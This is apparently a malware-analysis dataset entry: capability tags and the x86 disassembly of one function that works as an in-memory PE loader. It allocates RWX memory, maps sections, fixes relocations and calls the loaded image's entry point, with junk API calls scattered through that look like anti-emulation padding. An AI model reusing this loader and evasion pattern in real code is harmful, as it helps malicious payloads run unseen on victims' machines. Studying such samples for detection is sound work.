Function at 0x417033
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Execute shellcode via indirect call
Get disk information
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x4224ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push 0x41b4a4
mov dword [ebx], 0
mov dword [ebx + 0x20], eax
mov dword [ebx + 0x24], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x214], eax
mov eax, dword [ebx + 0x20]
mov edx, 0x5a4d
mov dword [ebx + 4], eax
cmp word [eax], dx
je 0x4170e5
xor eax, eax
push 0x208
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.004145dc
add esp, 0xc
push 0x104
lea edx, [ebp - 0x210]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x4170cc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripToRootW]
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebx], 0
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e15c
mov esp, ebp
pop ebp
ret 8
add eax, dword [eax + 0x3c]
push esi
mov dword [ebx + 8], eax
cmp dword [eax], 0x4550
je 0x417154
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov esi, dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 0xffffffffffffffff
push 0
push 1
push 0x1f0001
call esi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
neg eax
push eax
push 1
call esi
pop esi
mov dword [ebx], 0
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e15c
mov esp, ebp
pop ebp
ret 8
mov esi, dword [eax + 0x50]
push edi
mov edi, dword [eax + 0x34]
call fcn.00404e51
push 0x40
push 0x1000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebx + 0xc], eax
call fcn.004071ed
cmp dword [ebx + 0xc], 0
jne 0x417227
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x48
call esi
push 0x64
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 0
push 0
push 1
call edi
push 0x44
call esi
push 0
call dword [sym.imp.GDI32.dll_GetStockObject]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
call esi
push eax
call edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call esi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov eax, dword [ebx + 8]
mov ecx, dword [eax + 0x50]
push 0x40
push 0x2000
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebx + 0xc], eax
test eax, eax
jne 0x417227
push 0x7b84
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 0
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [ebx], 0
jmp 0x417478
call dword [sym.imp.USER32.dll_GetFocus]
push 1
call dword [sym.imp.USER32.dll_GetSysColor]
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call esi
call esi
push 0x14
push 0
mov edi, eax
lea esi, [ebp - 0x218]
call fcn.0041a0a2
mov eax, dword [ebp - 0x218]
mov edx, dword [ebx + 0xc]
mov dword [ebx], eax
mov dword [eax + 4], edx
mov eax, dword [ebx + 0x24]
xor ecx, ecx
cmp eax, ecx
je 0x417274
mov edx, dword [ebx + 0xc]
mov dword [eax], edx
mov eax, dword [ebx]
mov dword [eax + 0xc], ecx
mov edx, dword [ebx]
mov dword [edx + 8], ecx
mov eax, dword [ebx]
mov dword [eax + 0x10], ecx
mov ecx, dword [ebx + 8]
mov edi, dword [ecx + 0x50]
mov esi, dword [ebx + 0xc]
call fcn.00408661
push 0x40
push 0x1000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebx + 8]
mov edi, dword [ebx + 0xc]
mov dword [ebx + 0x10], eax
mov esi, dword [edx + 0x54]
call fcn.00408661
push 0x40
push 0x1000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 4]
mov edx, dword [ebx + 8]
mov dword [ebx + 0x10], eax
mov esi, dword [ecx + 0x3c]
add esi, dword [edx + 0x54]
push esi
push ecx
push eax
call fcn.0041080e
mov eax, dword [ebx + 4]
mov ecx, dword [eax + 0x3c]
add ecx, dword [ebx + 0x10]
mov edx, dword [ebx]
mov dword [edx], ecx
mov eax, dword [ebx]
mov ecx, dword [eax]
mov edx, dword [ebx + 0xc]
mov dword [ecx + 0x34], edx
mov eax, dword [ebx]
mov ecx, dword [ebx + 8]
mov edx, dword [ebx + 0x20]
push eax
push ecx
push edx
call fcn.0040f28f
mov ecx, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
add esp, 0x18
sub eax, dword [ecx + 0x34]
mov dword [ebx + 0x14], eax
je 0x41731a
push eax
mov eax, dword [ebx]
call fcn.00407d1b
add esp, 4
mov ecx, dword [ebx]
call fcn.00418c86
test eax, eax
je 0x41745d
mov edx, dword [ebp - 0x214]
push 0x41b4d0
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x220], eax
mov eax, dword [ebx]
mov edi, dword [eax]
mov dword [ebp - 0x21c], eax
movzx eax, word [edi + 0x14]
xor ecx, ecx
lea eax, [eax + edi + 0x3c]
mov dword [ebp - 0x218], 0
cmp cx, word [edi + 6]
jae 0x41743a
mov dword [ebp - 0x214], eax
lea esp, [esp]
mov edx, dword [ebp - 0x214]
mov eax, dword [edx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x4173b8
mov eax, dword [ebp - 0x214]
mov ecx, dword [eax - 0x14]
mov edx, dword [eax - 0x1c]
push 0x4000
push ecx
push edx
lea eax, [ebp - 0x228]
push eax
call fcn.00406357
jmp 0x417412
lea ecx, [edx + ecx*2]
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x4224cc]
test eax, 0x4000000
je 0x4173d2
or edx, 0x200
mov ecx, dword [ebp - 0x214]
mov ecx, dword [ecx - 0x14]
test ecx, ecx
jne 0x4173f3
test al, 0x40
je 0x4173e8
mov ecx, dword [edi + 0x20]
jmp 0x4173ef
test al, al
jns 0x417412
mov ecx, dword [edi + 0x24]
test ecx, ecx
je 0x417412
mov eax, dword [ebp - 0x220]
test eax, eax
je 0x417412
lea esi, [ebp - 0x224]
push esi
push edx
mov edx, dword [ebp - 0x214]
push ecx
mov ecx, dword [edx - 0x1c]
push ecx
call eax
mov edx, dword [ebp - 0x21c]
mov edi, dword [edx]
mov eax, dword [ebp - 0x218]
movzx ecx, word [edi + 6]
add dword [ebp - 0x214], 0x28
inc eax
mov dword [ebp - 0x218], eax
cmp eax, ecx
jl 0x417373
mov edx, dword [ebx]
mov eax, dword [edx]
mov eax, dword [eax + 0x28]
test eax, eax
je 0x417478
mov ecx, dword [ebx + 0xc]
add eax, ecx
mov dword [ebx + 0x18], eax
je 0x41745d
push 0
push 1
push ecx
call eax
mov dword [ebx + 0x1c], eax
test eax, eax
jne 0x41746f
push 0
mov dword [ebx], 0
call fcn.0040df16
add esp, 4
jmp 0x417478
mov ecx, dword [ebx]
mov dword [ecx + 0x10], 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0040e15c
mov esp, ebp
pop ebp
ret 8